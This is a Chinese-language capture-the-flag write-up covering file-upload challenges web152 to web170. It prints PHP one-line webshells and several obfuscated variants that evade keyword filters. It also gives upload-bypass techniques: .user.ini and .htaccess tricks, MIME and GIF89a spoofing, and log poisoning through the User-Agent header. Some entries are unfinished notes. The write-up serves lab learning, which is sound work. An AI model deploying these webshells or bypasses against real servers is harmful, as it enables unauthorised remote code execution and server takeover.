开启文件上传
先补充一些知识
1.一句话木马
<?php @eval($_POST['attack']) ?>
只要一句话脚本上传到了服务器当中,我们就可以使用中国蚁剑或者中国菜刀链接并控制整个服务器。
2.中国蚁剑的使用
此处添加的url为我们一句话脚本所在的url,连接密码就是我们定义的_POST中的变量,如上面就是attack。
web152
解题思路:上传我们做好的含有一句话木马的图片,然后抓包修改发送包的类型为php,用蚁剑连接。
知识点:
①一句话木马的制作:我们使用Notepad++编辑图片,在图片末尾加入我们的一句话木马。②burpsutie中repeter:
红色方框就是我们要将png修改为php。然后从网页中访问。
web153
解题思路:本题我中我们发现通过修改发送包为1.php不可行。上网查阅了后发现,本题考点为.user.ini。这时候我们应该通过先上传一个.user.ini文件,并且文件的内容是auto_append_file=’'1.png这里我们可以直接在bs中的repeter中修改文件名和内容,无需重复上传。
然后我们在upload目录下post一下1=phpinfo();
再用蚁剑连接得到flag。
知识点:
①如果你目录下有user.ini会先去识别里面的配置。当然文档也说了,并不是所有的配置都可以识别。只有 PHP_INI_PERDIR 和
PHP_INI_USER 模式可以。
②.user.ini理解.user.ini
web157
解题思路:题目中过滤了],},php。这时候我们要构造一句话木马就变得困难了。这时候通过对.user.ini的理解。我们可以直接让我们的一句话木马改为获取flag的命令。
payload:
1.png里内容为 <? system("nl ../f* ")?>
2.user.ini 里内容为 auto_prepend_file=“1.png”
3.直接访问index.php 查看源码获取flag.
web160
解题思路:题目中基本过滤了过滤了括号反引号还有一些关键字,因此我们使用日志包含。
构建图片文件内容为<?=include"/var/lo"."g/nginx/access.lo"."g"?>
然后上传.user.ini
最后修改UA为一句话木马
知识点:
①!!!!!!!!!!!!!!
需要补充为什么这个物理存放路径在这里?是一般情况都存这里还是啥
web161
解题思路:比160多了一个图片验证 所有加上GIF89a就行了
文件上传漏洞之getimagesize()类型验证
web162
!!!!!!!!!补
web166
解题思路:查看源码后发现只能上传zip文件,这时候我们上传一个含有一句话木马的zip文件。并且注意观察url的变化。
然后我们在这个地址下构建POST,领1=phpinfo();
再用蚁剑连接。
知识点:
①
这里为啥直接访问upload/download.php?file=6943ab35cd43100186ebfc5f4069df58.zip就可执行一句话木马?
因为在后端的download.php代码中包含了我们上传的文件,也就当作PHP代码执行了。
web167
解题思路:查看源码发现只能上传jpg的文件。查阅资料发现本题的环境是apache。再查知道了本题的考点是与.user.ini对应的.htaccess。因此改包
意思为将所有后缀为jpg文件的改为php文件。
这时候我们直接访问文件(还是访问上传的jpg文件),蚁剑连接就行了。
web168
解题思路:本题考查免杀,查阅发现过滤了eval,和system。
参考大佬的免杀
<?php
$a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST[1]);
?>
<?php
$a=substr('1s',1).'ystem';
$a($_REQUEST[1]);
?>
<?php
$a=strrev('metsys');
$a($_REQUEST[1]);
?>
<?php
$a=$_REQUEST['a'];
$b=$_REQUEST['b'];
$a($b);
?>
web169
解题思路:查看源码发现本题要上传zip文件,传过去发现也不符合规范,难倒了。
上网查了才知道,
前端验证zip,后端验证Png。
抓包,将后面的MIME类型改为image/png。这时候再上传就能成功。
然后利用日志包含.传递.user.ini 内容为auto_prepend_file=/var/log/nginx/access.log
再上传一个php文件,改掉UA头为一句话木马。
最后访问该php文件,蚁剑连接。
web170
同上